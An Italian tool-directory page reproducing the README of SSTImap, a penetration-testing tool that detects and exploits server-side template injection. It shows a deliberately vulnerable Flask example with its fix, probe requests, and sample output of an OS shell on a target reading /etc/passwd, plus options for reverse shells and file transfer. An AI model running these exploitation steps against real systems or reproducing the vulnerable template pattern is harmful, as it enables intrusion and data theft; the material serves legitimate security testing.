Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
SSTImap — Strumento di rilevamento automatico di SSTI con interfaccia interattiva | Kitploit
Strumenti/GitHubGitHub/vladko312/sstimap
Scanner di VulnerabilitàGenerazione di PayloadAnalisi del CodiceAnalisi Dinamica del Codice (DAST)ExploitSfruttamento di Applicazioni WebFuzzingPenetration TestingCommand and Control
GitHubvladko312/sstimap

SSTImap

Strumento di rilevamento automatico di SSTI con interfaccia interattiva

1.6k1773 mesi faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Vedi Repository

SSTImap

Version 1.3 Python 3.14 Python 3.6 GitHub GitHub last commit Maintenance

Questo progetto è basato su Tplmap.

SSTImap è un software di penetration testing in grado di verificare la presenza di vulnerabilità di Code Injection e Server-Side Template Injection nei siti web e di sfruttarle, fornendo accesso al sistema operativo stesso.

Questo strumento è stato sviluppato per essere utilizzato come strumento interattivo di penetration testing per l'individuazione e lo sfruttamento di SSTI, consentendo uno sfruttamento più avanzato. Ulteriori payload per SSTImap sono disponibili qui.

Payload e tecniche provengono da:

  • La Server-Side Template Injection: RCE For The Modern Web App di James Kettle
  • Altre ricerche pubbliche [1] [2] [8]
  • Contributi a Tplmap [3] [4]
  • La mia ricerca [9]

Questo strumento è in grado di sfruttare alcune evasioni del contesto del codice e scenari di injection "blind". Supporta inoltre iniezioni di codice simili a eval() in Java, JavaScript, PHP, Python, Ruby e motori di template generici senza sandbox.

Differenze principali rispetto a Tplmap

  • Aggiunte due nuove tecniche per l'individuazione e lo sfruttamento di SSTI
  • Modalità interattiva (-i) che consente uno sfruttamento e un'individuazione più semplici
  • Payload di valutazione semplici come marcatori di risposta in caso di riflessione del payload
  • Aggiunti nuovi payload per i template generici; per testare tutti i contesti usare --generic
  • Individuazione generica di iniezioni di template tramite il modulo Eval_generic
  • Esecuzione di una shell di valutazione del codice del linguaggio di base (-x) o di un singolo comando (-X)
  • Il caricamento "blind" di file ora supporta la conferma MD5 e il controllo dell'esistenza del file
  • Aggiunti nuovi payload per più template e aggiornati molti payload esistenti
  • Struttura modulare dei plugin che consente l'installazione di plugin aggiuntivi
  • Supporto per diversi tipi di dati POST
  • Aggiunti crawling e rilevamento dei form
  • Aggiunte versioni brevi per molti argomenti
  • Alcuni vecchi argomenti della riga di comando sono stati modificati; consulta -h per l'aiuto
  • Il codice è stato modificato per utilizzare funzionalità più recenti di Python
  • L'estensione per Burp Suite è stata temporaneamente rimossa, poiché Jython non supporta Python3

Server-Side Template Injection

Questo è un esempio di un semplice sito web scritto in Python con il framework Flask e il motore di template Jinja2. Integra la variabile name fornita dall'utente in modo non sicuro, poiché viene concatenata alla stringa del template prima del rendering.

root@kitploit:~
from flask import Flask, request, render_template_string
import os

app = Flask(__name__)

@app.route("/page")
def page():
    name = request.args.get('name', 'World')
    # SSTI VULNERABILITY:
    template = f"Hello, {name}!<br>\n" \
                "OS type: {{os}}"
    return render_template_string(template, os=os.name)

if __name__ == "__main__":
    app.run(host='0.0.0.0', port=80)

Questo modo di usare i template non solo crea una vulnerabilità XSS, ma consente anche all'attaccante di iniettare codice di template che verrà eseguito sul server, portando a SSTI.

root@kitploit:~
$ curl -g 'https://www.target.com/page?name=John'
Hello John!<br>
OS type: posix
$ curl -g 'https://www.target.com/page?name={{7*7}}'
Hello 49!<br>
OS type: posix

L'input fornito dall'utente dovrebbe essere introdotto in modo sicuro attraverso il contesto di rendering:

root@kitploit:~
from flask import Flask, request, render_template_string
import os

app = Flask(__name__)

@app.route("/page")
def page():
    name = request.args.get('name', 'World')
    template = "Hello, {{name}}!<br>\n" \
               "OS type: {{os}}"
    return render_template_string(template, name=name, os=os.name)

if __name__ == "__main__":
    app.run(host='0.0.0.0', port=80)

Modalità predefinita

SSTImap in modalità predefinita è molto simile a Tplmap. È in grado di individuare e sfruttare vulnerabilità SSTI in diversi template.

Dopo lo sfruttamento, SSTImap può fornire accesso alla valutazione del codice, all'esecuzione di comandi del sistema operativo e alla manipolazione del file system.

Per controllare l'URL, puoi usare l'argomento -u:

root@kitploit:~
$ ./sstimap.py -u https://example.com/page?name=John

    ╔══════╦══════╦═══════╗ ▀█▀
    ║ ╔════╣ ╔════╩══╗ ╔══╝═╗▀╔═
    ║ ╚════╣ ╚════╗  ║ ║    ║{║ _ __ ___   __ _ _ __
    ╚════╗ ╠════╗ ║  ║ ║    ║*║ | '_ ` _ \ / _` | '_ \
    ╔════╝ ╠════╝ ║  ║ ║    ║}║ | | | | | | (_| | |_) |
    ╚══════╩══════╝  ╚═╝    ╚╦╝ |_| |_| |_|\__,_| .__/
                             │                  | |
                                                |_|
[*] Version: 1.3.0
[*] Author: @vladko312
[*] Based on Tplmap
[!] LEGAL DISCLAIMER: Usage of SSTImap for attacking targets without prior mutual consent is illegal. 
It is the end user's responsibility to obey all applicable local, state and federal laws.
Developers assume no liability and are not responsible for any misuse or damage caused by this program


[*] Testing if GET parameter 'name' is injectable   
[*] Smarty plugin is testing rendering with tag '*'
...
[*] Jinja2 plugin is testing rendering with tag '{{*}}'
[+] Jinja2 plugin has confirmed injection with tag '{{*}}'
[+] SSTImap identified the following injection point:

  GET parameter: name
  Engine: Jinja2
  Injection: {{*}}
  Context: text
  OS: posix-linux
  Technique: render
  Capabilities:

    Shell command execution: ok
    Bind and reverse shell: ok
    File write: ok
    File read: ok
    Code evaluation: ok, python code

[+] Rerun SSTImap providing one of the following options:
    --os-shell                   Prompt for an interactive operating system shell
    --os-cmd                     Execute an operating system command.
    --eval-shell                 Prompt for an interactive shell on the template engine base language.
    --eval-cmd                   Evaluate code in the template engine base language.
    --tpl-shell                  Prompt for an interactive shell on the template engine.
    --tpl-cmd                    Inject code in the template engine.
    --bind-shell PORT            Connect to a shell bind to a target port
    --reverse-shell HOST PORT    Send a shell back to the attacker's port
    --upload LOCAL REMOTE        Upload files to the server
    --download REMOTE LOCAL      Download remote files

Usa l'opzione --os-shell per avviare un pseudo-terminale sul target.

root@kitploit:~
$ ./sstimap.py -u https://example.com/page?name=John --os-shell

    ╔══════╦══════╦═══════╗ ▀█▀
    ║ ╔════╣ ╔════╩══╗ ╔══╝═╗▀╔═
    ║ ╚════╣ ╚════╗  ║ ║    ║{║ _ __ ___   __ _ _ __
    ╚════╗ ╠════╗ ║  ║ ║    ║*║ | '_ ` _ \ / _` | '_ \
    ╔════╝ ╠════╝ ║  ║ ║    ║}║ | | | | | | (_| | |_) |
    ╚══════╩══════╝  ╚═╝    ╚╦╝ |_| |_| |_|\__,_| .__/
                             │                  | |
                                                |_|
[*] Version: 1.3.0
[*] Author: @vladko312
[*] Based on Tplmap
[!] LEGAL DISCLAIMER: Usage of SSTImap for attacking targets without prior mutual consent is illegal. 
It is the end user's responsibility to obey all applicable local, state and federal laws.
Developers assume no liability and are not responsible for any misuse or damage caused by this program


[*] Testing if GET parameter 'name' is injectable
[*] Smarty plugin is testing rendering with tag '*'
...
[*] Jinja2 plugin is testing rendering with tag '{{*}}'
[+] Jinja2 plugin has confirmed injection with tag '{{*}}'
[+] SSTImap identified the following injection point:

  GET parameter: name
  Engine: Jinja2
  Injection: {{*}}
  Context: text
  OS: posix-linux
  Technique: render
  Capabilities:

    Shell command execution: ok
    Bind and reverse shell: ok
    File write: ok
    File read: ok
    Code evaluation: ok, python code

[+] Run commands on the operating system.
posix-linux $ whoami
root
posix-linux $ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin

Per ottenere un elenco completo delle opzioni, usa l'argomento --help.

Modalità interattiva

In modalità interattiva, i comandi vengono utilizzati per interagire con SSTImap. Per entrare in modalità interattiva, puoi usare l'argomento -i. Tutti gli altri argomenti, ad eccezione di quelli relativi ai payload di sfruttamento, verranno utilizzati come valori iniziali per le impostazioni.

Alcuni comandi vengono utilizzati per modificare le impostazioni tra un test e l'altro. Per eseguire un test, l'URL target deve essere fornito tramite l'argomento iniziale -u o il comando url. Dopodiché, puoi usare il comando run per verificare la presenza di SSTI nell'URL.

Se viene trovata una SSTI, è possibile usare i comandi per avviare lo sfruttamento. Puoi ottenere le stesse capacità di sfruttamento della modalità predefinita, ma puoi usare Ctrl+C per interromperle senza fermare il programma.

Tra l'altro, i risultati dei test restano validi finché l'URL target non viene modificato, quindi puoi passare facilmente da un metodo di sfruttamento all'altro senza eseguire ogni volta il test di rilevamento.

Per ottenere un elenco completo dei comandi interattivi, usa il comando help in modalità interattiva.

Motori di template supportati

SSTImap supporta più motori di template e iniezioni simili a eval().

Nuovi payload sono benvenuti nelle PR. Dai un'occhiata ai suggerimenti per accelerare lo sviluppo.

Tecniche: (R)ender, (E)rror-based, (B)oolean error-based blind e (T)ime-based blind; una lettera minuscola indica una tecnica parzialmente supportata

Altri plugin e payload sono disponibili nel repository SSTImap Extra Plugins.

Plugin Burp Suite

Attualmente, Burp Suite funziona solo con Jython come metodo per eseguire python2. La funzionalità Python3 non è fornita.

Piani futuri

Se hai in programma di contribuire con qualcosa di importante da questo elenco, informami per evitare di lavorare sulla stessa cosa di me o di altri contributori.

  • Aggiungere più payload per diversi motori
  • Rendere i plugin meno dipendenti dai plugin di base
  • Analizzare richieste HTTP grezze da file
  • Funzionalità di dump delle variabili
  • Estrazione di valori tramite canali laterali/blind
  • Documentazione migliore (o almeno una qualche documentazione)
  • Argomenti brevi come comandi interattivi?
  • Modalità API JSONL/testo semplice per integrazioni scripting?
  • Migliore integrazione per script Python
  • Supporto per il tipo di dati POST multipart
  • Moduli per richieste più personalizzabili (second order, reset, non-HTTP)
  • Script per l'elaborazione dei payload
  • Migliore funzionalità di configurazione
  • Salvataggio delle vulnerabilità trovate
  • Report in HTML o altri formati
Scarica lo strumento
MotoreRCETecnicaLinguaggioTipo
Freemarker✓REBTJavaDefault
Java generic EL injections✓REBTJavaDefault
OGNL (Object-Graph Navigation Language code eval)✓REBTJavaDefault
Velocity✓REBTJavaDefault
Nunjucks✓REBTJavaScriptDefault
Velocity.js✓REBTJavaScriptDefault
JavaScript (code eval)✓REBTJavaScriptDefault
JavaScript-based generic templates✓REBTJavaScriptDefault
Twig (>=1.41; >=2.10; >=3.0)✓REBTPHPDefault
PHP (code eval)✓REBTPHPDefault
PHP-based generic templates✓REBTPHPDefault
Jinja2✓REBTPythonDefault
Python (code eval)✓REBTPythonDefault
Python-based generic templates✓REBTPythonDefault
ERB✓REBTRubyDefault
Slim✓REBTRubyDefault
Ruby (code eval)✓REBTRubyDefault
Generic evaluating templates×Reb_*Default
SpEL (Spring EL code eval)✓REBTJavaGeneric
doT✓REBTJavaScriptGeneric
EJS✓REBTJavaScriptGeneric
Marko✓REBTJavaScriptGeneric
Pug✓REBTJavaScriptGeneric
Smarty✓REBTPHPGeneric
Cheetah✓REBTPythonGeneric
Mako✓REBTPythonGeneric
Tornado✓REBTPythonGeneric
Dust (<= [email protected])✓REBTJavaScriptLegacy
Twig (<=1.19)✓REBTPHPLegacy
Templite✓REBTPythonLegacy
SSI (Server-Side Includes injection)✓R__TSSILegacy
CVE-2025-1302✓REBTJavaScriptExtra
CVE-2025-13204✓REBTJavaScriptExtra
CVE-2022-23614✓REBTPHPExtra
CVE-2024-6386✓REBTPHPExtra
  • Valutazione del linguaggio su più righe?
  • Evitare la dipendenza dalla piattaforma nei payload
  • Testare più shell in scenari RCE basati su exec
  • Aggiornare i payload NodeJS poiché process.mainModule potrebbe essere indefinito
  • Automazione spider/crawler (di fantesykikachu)
  • Importazione automatica di linguaggi e motori
  • Supporto per più tipi di dati POST
  • Rendere più uniforme la funzionalità di valutazione di template e linguaggio di base
  • Argomento per rimuovere i codici di escape?